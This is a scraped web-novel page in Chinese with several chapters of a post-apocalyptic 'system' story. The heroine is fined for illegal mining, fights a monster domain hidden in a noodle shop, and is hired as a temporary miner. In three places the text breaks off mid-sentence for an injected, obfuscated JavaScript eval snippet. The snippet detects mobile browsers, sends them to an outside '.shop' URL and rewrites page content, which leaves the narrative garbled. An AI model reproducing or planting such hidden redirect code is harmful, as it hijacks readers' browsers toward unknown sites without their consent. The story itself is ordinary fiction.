没法平空变出正式矿工身份的游迁乖巧点头，坦白从宽：“我不太懂这些，只知道下矿后遇到意外找不到出口，后来也是走运，被周队带上来了。” 主打态度良好，什么也没说。 “你们两个也不是。”管理员看向同样灰头土脸的老林和小季。 老林苍蝇搓手：“管理员同志，我们几个也是一时鬼迷心窍，除了挖矿没干别的，没有妨碍到周队。” 小季不知道说啥，在旁边疯狂点头。 经过检测，她们的污染值都低于10，处于正常范围，可以慢处理。管理员决定把三人先带回局里。 管理员摁住耳边的白色耳麦，低声嘀咕了几句，又朝三人道： “你们三个，跟我回局里一趟。” * 到城市开发管理局门口，游迁从巡查车上跳下，又原地蹦了几步。 路上雾气浓重，车开快了容易撞到人，巡查车车速维持在二十码，坐在上面有种有心无力的憋屈感。 短发管理员把她们带到城市开发管理局内部。手动推开管理局玻璃门，想象中明亮整洁的大厅，被行色匆匆的工作人员和成堆成堆的文件卷宗占满。 游迁退后，深吸一口外头的新鲜空气，才重新走入这通风不畅的管理局大厅。 因为需要分开询问，游迁和老林、小季分开，被管理员带着，七拐八绕后，来到三楼左侧的半透明小房间。 小房间临走廊的一面是单向玻璃，走廊处可以看见里面的情形。房间正中央摆着桌椅，桌面上空空荡荡，只有一盏台灯。 另外一名戴黑框眼镜的管理员停好巡查车，慢她们半步过来。黑框眼镜管理员从隔壁搬来个圆凳，靠墙坐着，手上抱着纸笔。 “新历113年x年x日，询问者城市开发管理局管理员赵曼之，记录者超市开发管理局实习管理员吴瑰，询问对象游迁。” 管理员赵曼之就游迁是怎么进入矿洞，同行人还有谁，是谁组织的这次私自下矿，以及中途发生的变故……一一进行了询问。 实习生吴瑰在旁边唰唰记录，赵曼之语速快，吴瑰记得笔都要冒烟了。 “赵姐，你说我这样得被关多久。”游迁面上一脸颓唐，心里头却盘算起关进去后，该如何跟狱友们称姐道妹。 她现在全身家当就只有那几块矿石，留在外面连饭都吃不起，更别提还有个疑似混□□的债主，人身安全都成问题。 “不用关，你是参与者，不是组织者。交五百联邦币的罚款就成，处罚书半小时后出。” 这罚得可够轻的啊，怪不得那么多人私自下矿。 游迁从处罚的程度中隐约琢磨出官方的态度——私自采矿，明面上禁止，实际上随你，官方对此是睁一只眼闭一只眼。 那为什么不直接组织这些人下矿呢？让她们自己掏门票钱，再签份免责声明。 “能用矿石抵吗？我这边实在拿不出别的钱了。” 赵曼之工作久，见多识广，神色如常道：“可以，我会交给管理局内部的评估人员，按照市价换成现金。” 城市开发管理局负责矿场的管理与安全，内部设有专门的矿石价值评估机构。 专业机构评估得快，很快，矿石的评估结果书和处罚书一起送到了游迁面前。 “这部分矿石价值732联邦币，扣去罚款，还剩232，现金还是直接转账？” “现金。” 下矿不能带机械设备，同行的老林和小季都是提前摘掉通讯手环，放在家里。 至于原主，她的通讯手环被债主收了，本来想靠这次下矿买个二手机。谁曾想，下矿期间遭遇污染物，工作提前结束，赚的钱不到预期的一半，还没扣了五百。 真是人生无常，大肠包小肠。 游迁问过系统，这个世界和她原本的世界一样，如果经济困难、名下只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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邻居的原话是：“除了那帮要提升异能等级、不要命的异能者，脑子正常的人都不会在这个时间段下矿。” 游迁忍住困意，支着耳朵，继续听隔壁邻居大谈特谈。 遗憾的是，这位邻居知道的不多，光是这条正式矿工都知道的官方通告，就车轱辘一样颠来倒去地说了三遍。 游迁支棱着的耳朵耷拉下来，在邻居“什么时候能有钱到不用天天喝营养液”的感慨声中，昏昏睡去。 * 这一觉她睡了很久，起床时有种久睡的酸痛感。 游迁拧开公共浴室的水龙头，水拍到脸上，在冰凉的触感和肠胃的哀鸣中，迎接雾气蒙蒙的午后。 前天喝的那三分之一营养液早就被消化得干干净净，游迁肚子扁扁的，感觉自己能吃掉一整头牛。 游荡在街道上，依旧是浓雾天，她看不见两旁的店铺，却能清楚地闻到食物的香气。 那是面食的香味，麦香为底，浇上浓厚的肉汤，游迁的肚子应景地叫起。 好香，或许她该吃点东西了。 游迁顺着香气向前，唾液分泌，占据口腔。 饥饿让她头晕眼花，她望见那家店了。老旧的装潢，狭窄的店面，满座的顾客，充满年代感的招牌……一切很符合她对美味老店的刻板印象。 面香从门缝钻出，沁入她的鼻腔。 到这个时候，游迁犹豫了，想起兜里可怜兮兮的几块钱。 她记起，这个世界土地被污染，浓雾终日遮盖天幕，动植物产出大幅降低。旧时代的家常菜品，成了难得的享受。 相对的，菜品的价格也是水涨船高。 游迁松开门把手，抬头时正好和面馆店员对视。店员朝她咧开大大的笑，用手指了指他头顶的价位牌。 特制鲜肉面 8联邦币一碗 价位表下方是红色大字： 好味道面馆，给您最独特的味觉体验！ 末端跟着一个卡通的小铁锅，热气从铁锅内钻出。 价格怎么这么低？ 游迁跟着直觉后撤，右肩一痛，撞到了人。 “面……我要吃面……” 涎水从男人的嘴角垂落，他眼珠像根钉子，密不可分地钉在白色价位板上。 “让开！” 他推开游迁，跌跌撞撞地往面馆里面跑。 店门被打开的瞬间，暖烘烘的香味抚上游迁的脸庞，像是院长做的排骨汤，她吃了一碗还不够，还要抢别人的。 游迁短暂回想起几个挑衅她不成反被揍的同学，从他们凄惨的脸上察觉出不对。 她打人不打脸，哪会把人揍得跟猪头似的。 想通这一点，游迁泥鳅般往后滑。 眼瞧她要消失不见，系统及时出声。 【触发支线任务好味道面馆】 【支线任务名称好味道面馆 任务介绍：矿工生活区新开了一家面馆，吃过的都说好。请找到面馆老板，并和老板讨论面馆的生意经。 任务限期：12小时 任务奖励：一份污染物品】 污染物品这几个字眼大大地刺激了游迁，只有很少一部分污染物死亡时，才会产出污染物品。这类物品可供人类使用，售价很高。 她默默收回腿，一言不发地转身，从兜里掏出团纸，塞住鼻孔。 钱，哦不，面馆，我来啦！ 她深呼吸，推开玻璃门。 4. 面馆（一） 昏暗灯光下，食客们背对店门，袖口拂过油亮的桌面，她们捧着海碗，大快朵颐。 吸溜声、咀嚼声此起彼伏，波浪般混杂在食物的浓香中，有种诡异的和谐。 店员待在一条窄长的木桌后，木桌前同样坐满食客。 七名食客挤在一处，把狭窄的空间塞得满满当当。 钱嗔坐在长桌的最右侧，大拇指一下一下地点着桌板，上面的金戒磕在桌上，发出闷闷的低响。 “服务员，面还没好吗？” 钱嗔大老远就闻到这股香味了，苦涩的麦香勾起馋虫，他咽下唾沫，语气满是不耐烦地催促。 “我们店里的每一碗面都是按照客人的喜好，专门定制的，会比普通面馆多花些时间。还请您再等等，马上好。” “快一点。” 钱嗔拧着眉毛，侧头去看其她食客。 他左侧的那名食客留长发，乌黑的头发瀑布般垂落。 长发食客将碗凑到胸前，头发遮挡住旁人窥视的视线，衣袖盖过手背。 食客端起碗，面汤滑入口腔，接着是细细的咀嚼声和吞咽声，钱嗔听着忍不住舔唇，他辨识出那是咀嚼肉类软骨的声响。 上次听到这声音还是三个月前，他偷完东西路过一户人家时，从窗口听到的。 “客人，您的面好了。” 钱嗔拨动金戒指，仰长脖子去看。 店员将面从后厨端来，面碗上盖着碟子。 花里胡哨的。 钱嗔在心里嘀咕着，迫不及待地从店员手中抢过碗。 碗摸着一片冰凉，钱嗔嚷道：“你们店怎么回事？这面还是冰的！” “客人，这是我们店的特色，你打开看就知道了。” “打开后还是冰的怎么办？你重新给我煮一碗？” 店员不说话，只是笑着看钱嗔。 钱嗔被他看得心里发毛，他低声威胁道：“要是不好吃，我要举报你们店。” “您尝尝就知道了。” 钱嗔缩回脑袋，手捏住盘碟边缘，冰冷的触感顺着指尖一路向上，冻得他一激灵。 这家店到底在搞什么鬼，要不是价格便宜到令人咋舌的程度，他现在就掀桌！ 盘子被打开，内容物显露。 钱嗔盯着他的那碗面，眼神先是惊奇，而后是空茫，像是被虫蛀了里头的芯。 最后，他抓起筷子，夹起面，大口大口地吞咽，吃相万分狰狞。 “客人您满意吗？” “满意！满意！” 钱嗔最后直接丢掉筷子，抱起海碗，嚼都不嚼，让面顺着他的食道滑下。 店员欣慰地笑了。 他抬头，望向新来的顾客。 “这位客人，来碗面吗？” 【检测到污染物，危险程度：安全】 店门口，游迁看向油光满面的店员，他左右两边脸完全对称，眼睛一直睁着，盯久了有种违和感。 “系统，上次在矿洞也遇到污染物了，那次你为什么没播报？” 【系统只能检测到与任务相关的污染物，其他污染物还需要宿主自己辨别】 游迁看向店员：“我不是来吃面的，我要找你们老板聊聊。” 店员收起笑容：“非常抱歉，我们老板不接待客人。” “这样啊。” 游迁往回走，她进店之前绕面馆转了一圈，面馆面积不大，估计只有餐厅和后厨。 既然这名污染物不是老板，也不愿意告诉她老板的下落，她就只好自己碰碰运气，从店外把墙砸穿，进到后厨慢慢找了。 游迁正对污染物，缓步后退，她手一直撑着门把手，和店员说话也是站在门槛上，以免关门后就无法再开门的事情发生。 “呼！” 面馆门外突然刮起阴风，店门夹鼠板般向游迁拍来，她当即放开门把手，整个人往前扑。 在游迁松开把手的那一刻，风势减弱，店门轻柔地贴到一起，仿佛刚刚的狂风从未发生过。 她再次推门，门纹丝不动。 游迁：…… 看来对抗恐怖片的手段，在这里并不管用。 店员像是忘记了刚刚的对话，重复问道：“客人，来碗面吗？” “不吃面就不能走吗？” “如果您说的是字面意义上的‘走’，本店不会限制您的自由行走。如果您说的是离开这，那么是的，好味道面馆希望踏入这里的每一位食客都能享用到本店的特制鲜肉面，不希望食客们带着遗憾离开。” ……那可真是家黑店。 【宿主，这家面馆是污染物的领域，在击杀创造领域的污染物之前，您无法离开。】 【另外，根据联邦官方文件，除非您的实力高出该污染物两个等阶，否则不建议和污染物正面对抗。在领域中，您需要让您的行为贴合领域背景，符合您在这个领域内的身份。】 污染物分为安全、低危、中危、高危和天灾五个等级，异能者也分为D、C、B、A、S五个等级。 游迁之前在矿洞中遇见的藤蔓就是安全级污染物，安全级别的污染物基本不具备精神污染特性，训练有素的普通人有望击杀。 再往上，污染物将具备传播特性，有的甚至会以人为媒介，大范围散播精神污染。普通人对于精神污染的抗性低，击杀低危级以上的污染物近乎天方夜谭。 游迁代入顾客角色，挑剔道：“你们店内人都坐满了，我坐哪吃啊？” “这边有椅子。” 店员从桌后拖出把木凳，摇晃着走出，手摁住最右侧那位顾客的肩，用力推。 整排的顾客被挤成一团，皱巴巴地缩起肩背，店员满意地点头，把木凳加到桌旁。 “您请坐。” 店员的大手挥向游迁，想要如法炮制，把游迁推到木凳上。 游迁却将身一扭，躲过挥击，完整无损地坐到木凳上。 “我要你们老板亲自煮的面。” 店员僵硬地收回手，外凸的眼珠转了转：“客人请放心，我们店每一份面都是老板亲自煮的。” “你们老板在后厨煮面？” 游迁抬手指了指店员身后，那有一扇白色铁门，和死白的瓷砖融为一体，很容易被忽略。 “是的。” 游迁又指向自己：“我要过去观摩观摩，你带我过去。” “老板煮面时不喜欢被打扰，等面煮好了，我会为您端出。” 啧，真是油盐不进。 看来只能等店员不在的时候想办法混进去了。 游迁挪开目光，扭头看向左侧坐着的食客。 左侧食客穿着灰扑扑的长袖，寸头，应该是刚刚在门口撞她的那个男的。 寸头男右手摊开，笼住侧脸，肉类的咀嚼声从喉管中发出。 游迁之前在垃圾桶旁边也听过这种声音，那是只城市禁养的大型犬，它从垃圾桶里翻出骨头，用锐利的尖牙磨上面的肉。 寸头男的长袖皱巴巴的，手背上还有红痕，应该是店员推他的时候留下的。 真是可怕的力道。 面煮好了，店员暂时离开。 游迁从半掩的门缝中看去，里面没有开灯，空间很小。 店员背对门，遮挡住窥视的双眼，看他的动作，应该是在端面。 “别吃面。” 游迁掏了掏耳朵，险些以为自己幻听了。 “别吃面。” 游迁东张西望，总算找到了声音的源头。 木桌右数第四个座，说话者屈膝抱腿，头藏到双腿之间，姿势和某孙姓猴子刚出生时神似。 游迁：“吃了会怎么样？” …… 无人回应。 游迁后仰，用食指戳戳蜷缩成团的食客。 食客毫无反应。 她刚刚幻听了？ 嗡——嗡—— 游迁定睛一看，食客手腕戴有通讯器，款式和市面上卖的有所区别，多出了实体屏幕。 此刻，通讯器正不断震动，屏幕亮起，显示信息发送失败。 “这个图案有点眼熟。” 游迁仔细辨别锁屏壁纸上的图案，图案是块冒荧光的不规则石头，游迁总感觉在哪看到过。 想起来了，是城市开发管理局。 “醒醒，这里有污染物。” 官方管理机构的人有九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515369|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成是异能者，听说入职前还会接受污染物方面的有关培训。这位食客如果清醒过来，将会成为她的一大助力。 “你刚刚是发消息给管理局的其他人吗？身上有没有带管理局发的武器？” 也许是管理局这三个字触动了食客，食客启唇，低声呢喃： “后厨……” “离开这家面馆的关键在后厨？还是说后厨有强大的污染物，要小心？” 食客没有解释，团缩在四四方方的座椅上。 游迁凑过去，歪着脑袋，以一种诡异的姿势贴在那名食客身旁，拔蘑菇一样去拨食客的脑袋和手臂。 手臂被扯动，面条般细长筋道的丝线从脸和手臂的连接处拉开。 食客的四肢和头粘到一起。 “这位客人，请不要打扰其他顾客。” 店员阖上后厨的门，将海碗置于木桌上。 游迁掀开眼皮，打量这碗特制面。 面碗碗口照例被盖住，惑人心神的香从碗和碟的缝隙之间探出。 香气变得更有层次感。 如果说游迁在店外闻到的是院长炖排骨的香味，那现在就是她想象中，一家人团圆时饭菜该有的味道。 诡异的幸福感和危机感直冲脑门，早就有所戒备的游迁回过神，毫不犹豫地用拳砸鼻子。 鼻血汩汩涌出，香味逐渐被血腥味遮盖。 痛感慢半拍追来，游迁捂住鼻子，一时间表情狰狞。 也许有更好的解决方式，但她短时间内只想到这个。 还好有用。 “客人，冷了就不好吃了。” 店员催促道，他两颗眼珠子紧粘着游迁。 作为低阶污染物，店员没有自我意识，只有对危险判断的本能。 本能告诉他，这名客人比其她客人更麻烦。 但再麻烦，也不过是只随时可以捏扁的小虫子。 “小虫子”游迁坐回座位，双手揣在兜里，鼻子时不时地吸动，免得鼻血滴到衣服上，回去还要洗。 “客人，请揭开碗碟。” 店员青白的手搁置在木桌上，只要这个人类说一句不，他就会扯过人类的手，温柔地请这位人类食客吃面。 店员通常不会强迫食客掀开碗碟，毕竟只要他把面碗端到桌上，食客们便会迫不及待地撇开碗碟，大快朵顾。 在店员的催促下，游迁瞥了眼覆盖在面碗上的碟子。 “别吃面！别吃面！” 管理局的那名食客突然大叫，团缩成球的身体剧烈晃动，老旧的木椅吱呀作响。 店员嘴角下挂，僵直的手一伸，去刺食客的后心。 指尖刺破食客后背的衣物，却在她的背上劈了叉，还因为过于用力，甲面上翻。 店员收回手，把食客踹到地上。 这名管理局的食客轮胎般在地上滚动，咕噜噜地碾过地板，最后停在墙角。 游迁瞅了眼，这名食客没流血，瞧着不像是被人打了一顿，倒像是在地里打了个滚。 游迁掐了把她旁边的寸头食客，寸头食客的胳膊软硬正常，就是会拉丝，皮肤碎屑黏在游迁手上，让人生理性不适。 看来吃面并不会让人体变成金刚石，这应该那名管理局食客的异能。 “客人，刚刚出了点小意外，现在已经处理好了，请您尽快用餐。” 店员依旧站在她身边，嘴角再次提起，标准得像是提前绘制好的图画。 游迁没有第一时间搭理店员，继续思索。 已经可以确定这名食客的管理局异能者身份，那刚刚那条信息……是发给城市开发管理局的吗？ 信息发送失败，这名管理局食客是笃定信息能送达，还是在为之后前来调查的管理局员工留消息…… 如果是前者，究竟是什么原因导致的信息发送失败？ 她知道的信息还是太少了。 “客人，请您尽快用餐。” 等候在旁的店员重复道，他忽地抬手，准备抓住游迁的手，迫使游迁掀开面碗上的遮挡物。 “知道了。” 避开店员的抓握，游迁咽下从鼻子滑入嘴里的血沫，神色自若地揭开碗碟。 5. 面馆（二） 汤撒了。 少部分黄白的汤汁倾倒在桌面上，碗被重新盖上，游迁东张西望，掐住店员的袖子，管他要纸巾。 “快把这些都擦干净！还有，我刚刚看见碗里有虫子！你们店怎么回事！老板呢？把老板叫出来！我要赔偿！” 游迁模仿着她见过的刁钻客户，掐尖嗓子怪叫。 店员的眼珠子无序转动，事态超出他的认知。 “不许浪费…不，提供让店员满意的服务，但是……” 污染物放弃了思考，拳脚杂乱地挥向游迁。 早在店员思维错乱之际，游迁便瞄准他的脑袋，面碗快狠准地砸出。 汤汁外流，连带着店员面部皮肉一起，蜡油般流下。 碗内的内容物终于得见天日，肉色的面皮顺着汤汁滚落，躺在地上。 刷啦—— 刷啦—— 刷啦—— 成排的食客放下遮掩面孔的手臂，碍眼的发丝散开。她们仿佛失去了支点，软若无骨，或是前趴在木桌上，或是向后仰倒，朝天露出血肉模糊的脸。 碗内空空如也，碗底残留汤汁的痕迹，散发出淡淡的腥味。 店员趴到地上，对特制面的渴望让他短暂地忘却身份，短粗的五指在油腻腻的地板上乱抓，企图捞到他的脸皮。 游迁干呕出声，抄起旁边的木凳，狠狠地砸上店员的脑袋。 污染物皮糙肉厚，等到她胳膊抡得酸麻，木凳腿被打飞了半条，店员终于丧失行动能力，烂泥般瘫倒在地。 “系统，这只污染物怎么打不死？” 【宿主，此类污染物依附于领域，领域存在，污染物便无法死亡】 游迁放下缺了根腿的木凳，压到店员身上，确保店员恢复行动能力后她能第一时间知道，接着活动手腕，把寸头男屁股底下的完整木凳抽出来，扛着崭新的武器，推开后厨门。 * 后厨要狭窄许多，只有餐厅一半大，墙壁两边堆放有锈迹斑斑的厨具，游迁摸了把，满手灰。 唯一的光源是天花板的灯，灯罩内部是密密麻麻的黑点。 黑点之中，混杂了几只活着的虫子，它们撞击灯罩，想要谋条出路。 老板人呢？ 望着空荡荡的后厨，游迁有些恍惚。 堆有厨具的铁桌挤占了近乎所有的空间，这里容不下第二个人。 游迁用木凳扫荡铁桌下的空间。 没有，什么都没有。 “老板是污染物，不是人，可能躲在人类无法藏身的地方。” 游迁抬头，目光在墙壁和天花板之间逡巡，那里空无一物，只有让人遐想连篇的黑影。 小飞虫又撞了下灯罩，游迁看向面前的厨具。 在众多老旧的锅碗中，有只不锈钢锅，细看会发现那只锅更干净，没有落灰，锈迹也少。 游迁注意到锅时，系统提示音同步响起。 【检测到领域域主，危险程度：低危】 【支线任务进度更新，进度85%】 游迁释放异能“乖，留下加班”，限制域主污染物的行动，从旁边抽出把生锈的菜刀，侧面刺入锅中。 她能感受到，菜刀砍中了某种柔软的物体，游迁往回抽刀，没抽成功。 【您受到域主攻击，污染值大幅上升】 锅盖卡啦卡啦地颤动，游迁摁住锅盖，菜刀在锅内搅动。 她盯着这口锅，思维逐渐发散。 这有点像网上说的薛定谔的猫。 那是讲什么来着，好像是某个丧心病狂的家伙，把猫装进箱子里做实验。 不对，她想这些干什么？ 污染物将锅盖顶起，蜗牛般粘稠的躯体攀上刀柄，游迁只看了一眼，便头昏脑涨。 【您受到域主攻击，污染值大幅上升】 【宿主状态更新中……更新完毕，您已陷入轻度污染】 污染物表面分泌粘液，粘液顺着刀柄滑到她手上，附有粘液的皮肤突然间变得鲜嫩多汁。 好恶心的攻击手段。 控制技能时间有限，游迁徒手抓出污染物。 【您受到域主攻击，污染值大幅上升】 【您受到域主攻击，污染值大幅上升】 【您受到域主攻击，污染值大幅上升】 …… 系统提示音接连不断地在耳边响起，眼前的画面逐渐扭曲，游迁抬手。 一刀，两刀，三刀…… 她凭借记忆，在污染物身上连砍七刀。 【您受到域主攻击，污染……#$#&&%】 第七刀落下，系统提示音卡顿，转为老式电视机故障时会发出的沙沙声。 游迁没去管系统，她正全神贯注地和面馆老板“探讨生意经”。 是啦，老板说的不错，面还是要反复捶打才会有嚼劲。 高精神攻击低物理防御的污染物，在游迁凶猛的攻势下，四分五裂。 碎末飞溅到泛黄的墙壁，店内本就不行的卫生环境，现在更是雪上加霜。 【支线任务完成，域主死亡，领域即将关闭】 卫生还是要弄好，不然就会面临关店歇业的风险。 游迁放下面馆老板恋恋不舍的手，把破碎的它甩回锅里。 她要赶在面馆关门前离开。 【宿主状态更新中……更新完毕，您已陷入中度污染】 游迁感觉有蚊子在旁边嗡嗡叫，她嘴里嘟囔着“去去”，手在空中随意地挥舞。 领域瓦解，餐厅恢复原状。 浓郁的香味散去，地板多日不拖的发酵味占据了上风。 食客们趴在原位，皮肤染上腐臭，像是海岸边被冲刷上来的尸体。头顶的灯光熄灭，她们隐藏于破败与昏暗中，静默无声。 墙皮斑驳脱落，墙灰掉到墙边缩成一团的管理局异能者身上。她口袋里的通讯器震动着，有人给她发来了通讯请求。 游迁凑上前，摸出通讯器。 通讯器显示，一个备注为“管理局 赵姐”的人正在给这名异能者打电话。 游迁推了推异能者：“有人打你电话。” 异能者没反应，游迁划拉屏幕，通讯接通。 “小吴？你还好吗？领域解除了？现场有几人受伤？” 游迁数了数：“除我以外，还有八人。” 通讯器对面静默一瞬，语气比刚刚更为紧绷：“你不是吴瑰。” “原来她叫吴瑰啊。” 游迁想起昨天在管理局遇见的实习生，工牌上好像写的就是吴瑰。 名字起的还挺应景。 “吴瑰现在状况怎么样？” “她啊，哈哈……” 游迁尾声拉长， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515370|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掰了掰吴瑰的四肢，依旧纹丝不动，又扯了下吴瑰的手，手指戳在上面，很快被弹开。 她还是第一次见到橡胶质感的手，觉得有点好玩，中度污染的状态下，一个没忍住笑出了声。 通讯器对面，赵姐呼吸凝滞。 游迁的语调欢脱，在翻动时还是不是发出瘆人的笑，赵姐觉得这人污染度肯定不低。 高污染度下，人做出什么事都不奇怪。 游迁还算有理智的那一挂，至少可以正常回答赵姐的问题： “她还缩着呢，我一个人搬不动。” “……管理局马上来，请留在原地，不要破坏现场。我们的通讯器自带录音录像功能，数据会同步上传到艾尔智能数据库。” 赵姐没有挂断通讯器，她脚踩油门，以最快的速度抵达好味道面馆。 赵姐赵曼之戴上手套，推开好味道面馆岌岌可危的门。眼睛四下转悠，看到店内七倒八歪的尸体，眉头紧锁。 赵曼之摁住耳麦：“阿尔法，对屋内所有人进行污染度判定。” “收到，正在扫描，进行群体污染度检测……” “扫描完毕，检测到两人重度污染，一人中度污染，一人轻度污染。” 人工智能阿尔法只能测验存在生命体征人类的污染值，这里有八人，却只检测出四人的污染值。 赵曼之揉捏眉心，进屋检查过没有残余污染物后，抬手让管理局的其她人进来。 重度污染的两位都陷入了昏迷，被人用担架抬到车内。 死亡的四名食客留在原地，管理局面部识别了食客的身份，她们都是附近居住的矿工。 一名食客没有家属，管理局通知了其余三名食客的家里人。 相较于这边惨重的氛围，轻度和中度污染者这边就要愉快许多。 吴瑰的异能发动后不能主动终止，管理局同事们把她滚上担架，一并送到车里。 至于中度污染那位，她正抱着胳膊，围观她们工作，偶尔还啧啧惊叹： “食物中毒真可怕，还好我没有吃这家店的面。” 赵曼之扫游迁一眼，总觉得在哪见过这人，正这么想，袖子突然被人拽住。 “这种重大食物中毒事件，店老板要赔我多少？” ……记起来了，是昨天那个要钱不要命，非法下矿的。 “具体金额要等我们回局里调查核实，另外，还请您配合调查，跟我们走一趟。” 有钱拿，二进宫也无所谓，游迁点点头，麻溜地爬上车，大大咧咧躺到其她伤患旁边，闭目养神。 车上睡会儿，局里睡会儿，晚上就不用找地方睡觉了。 嘻嘻。 车前座，赵曼之一手握着方向盘，一手摁着耳麦，和联邦人工智能阿尔法梳理这件事的始末。 三天前，阿尔法检测到矿洞表层污染值不正常波动，判定矿洞即将进入活跃期。管理局发布公告，禁止普通人在波动期内进入矿洞。 矿区地表出现污染物，甚至出现了好味道面馆这样的污染领域。 刚刚，阿尔法再次给出数据，矿洞污染值仍在不断攀升。 活跃期，恐怕会持续很久。 路面上的雾浓稠得像绸缎，赵曼之叹气，打开双闪灯。 四四方方的车挤在蛇腹般的路上，在烛火般的照明下，驶向不确定的远方。 6. 窄巷（一） 【系统检测到支线任务已完成，现在发放任务奖励，请宿主及时查收】 游迁被系统的提示音震醒，她揉搓眼眶，点击查看任务奖励。 【恭喜您获得污染物品：一份合同】 【物品介绍：面馆老板用它雇佣了一名店员（尽管这名店员不是很聪明）】 这份污染物品由羊皮纸制成，合同被卷起，看不到内容。 游迁让这份合同继续待在系统的虚拟空间内，从管理局邦硬的皮质沙发上坐起，看眼前的这份合同。 活跃期临时矿工雇佣协议 签订日期___年___月___日 甲方：城市开发管理局 乙方：_________ 身份编码：_________ 在甲方工作起始时间：_________ …… “你醒了？” 赵曼之透过房间的单向玻璃，扫描过游迁的污染度，发现游迁已经脱离污染状态，污染值维持在较低的水准，便推门进入。 “我睡了多久？” “三天。” 赵曼之对上游迁瞪大的眼珠子，解释道：“人陷入高污染状态后，只能通过人体自我修复降低污染度，长时间睡眠是这之中最有效的方式。” “在你深度睡眠期间，我们有给你注射营养针剂，不用担心长期睡眠对身体造成损害。” 游迁“唔”了声，翻阅桌面上这份合同。 “你们为什么要和我签这个？丑话说在前头，我可不是管理局要的无处罚记录的三好矿工。” “这个要求是针对平稳期的。现在矿洞进入活跃期，普通人被禁止下矿，异能者人数又有限，我们可以对条件进行一定程度的放宽。” 游迁翻到其中一页，指着上面的空白部分：“这个异能详情我要填吗？” “最好填一下，如果你在矿洞中遇到危险。救援时，管理局可以通过你的异能类别，对你遭遇的危险有大致的判断，派出更加适合的异能者进行搜救。” 游迁突然抬头，直视赵曼之：“就算不填，你们也知道我的异能类别吧。” 赵曼之没想到游迁会这么问，坦率道：“吴瑰，就是那个穿管理局制服的食客，她的通讯器带有特殊的记录功能，每个管理局异能者的通讯器都有这个功能。” “通讯器传输的画面显示，你去后厨和域主污染物战斗时，存在少量肢体上的接触。我们后来勘验发现，现场不存在灼烧、植物生长等自然类异能使用的痕迹，也没有明显的打斗痕迹，只是少了刀具。” “据此，管理局认为你的异能不具备直接的打斗能力，需要借助外物，才能杀死污染物。从后续测算的污染值来看，你的能力不属于精神类异能，毕竟精神系异能者对污染的抗性要高于其她系异能者。” “域主污染物只有极短距离的移动，管理局这边推断你的异能是控制类异能，可以限制污染物的活动空间。当然你要是有纠正的想法，也可以跟我们反馈。” 游迁头回听到异能还有类别一说，她询问系统：“异能的分类怎么没有在面板上标注？” 【宿主，这种将异能分为自然、增强、精神、控制、特殊五类的分类是大灾变早期提出的学说】 【异能发展到后期会出现多类型融合的现象，这种学说过于机械，只能对D级和部分C级异能进行分类，现在已不再使用】 游迁露出配合的表情：“管理局这么为我着想，还给我工作，我当然会填。” 她在纸上填写异能，在她原有异能的基础上加上估计、可能等不确定性描述，没有写冷却时间，只是说有时候会无法使用。 正常情况下，异能者对觉醒的异能只会有模糊的概念，精确的数据还需要后续测试和检验。 “管理局有办法测出我的具体异能吗？” 赵曼之点头：“管理局总部有异能者可以帮忙测量，就是需要支付一定的费用，一次三万联邦币。支付后排队等待即可。” 一次三万……她怎么没觉醒这种异能？ 听着好像还有很多人买。 一脸穷鬼相的游迁往沙发上一瘫：“那算了，我没钱。” “你很快就会有钱的。” 赵曼之指着合同上的数字： “正式矿工的薪资是四千联邦币一个月，考虑到异能者活跃期执行任务的危险性，管理局给你开的薪资是八千联邦币一个月。如果你在任务期间受伤，管理局会支付你的医药费。” …… 很快，合同尾页多出了一个笔锋上钩的签名。 赵曼之整理文件：“管理局会尽快处理。不出意外，后天就可以下矿了。” * 出意外了。 窄巷内，游迁捏着刚买的通讯器，站在巷口。 两旁是长着苔藓的白墙，棕苔黏在墙底，模糊了路与墙的边界。 每五米就有一扇窗，窗被封死，无法推开。 成队的黑翅土白蚁从窗前爬过，从巷口串至巷末。细小的墨线将窄巷首尾相连。 很多人见过这种巷口，你偶然间路过，无意中往身侧望去。 这是条只容许人通过的路，重复、单调，阴天让它死气沉沉。 你屏住呼吸，加快脚步，直觉告诉你不能踏入它，陌生人在这里只会迷路。 游迁扰乱白蚁们的队形，让它们爬得歪歪扭扭。又从墙上捉来一只白蚁，弄伤它的翅膀，放到身后。 接着，她从外套口袋里取出袋营养液，指尖沾了点，抹到地上，诱导受伤的白蚁往入口处爬。 白蚁寻着糖水离开，最终消失在巷口。 游迁在心底默数十下，接着走向相同的方向。 没有。 游迁抬头，又偏头去仔细打量墙壁，连凹陷的砖缝都没放过。 地上、墙上，乃至空中，都没有那只受伤的白蚁。 墙壁上，原本的蚁群被分为两截，一截井然有序，另一截晕头转向，还有几只离了队伍，飞在半空中。 她陷入了某种古怪的循环，像是民间故事中的鬼打墙，被困在这条巷子里。 蚂蚁们似乎可以出去，但她不行。 游迁又看通讯器，这是她用奖金买的二手通讯器。 奖金是管理局给的，用于感谢她解决了领域，总共一万联邦币。 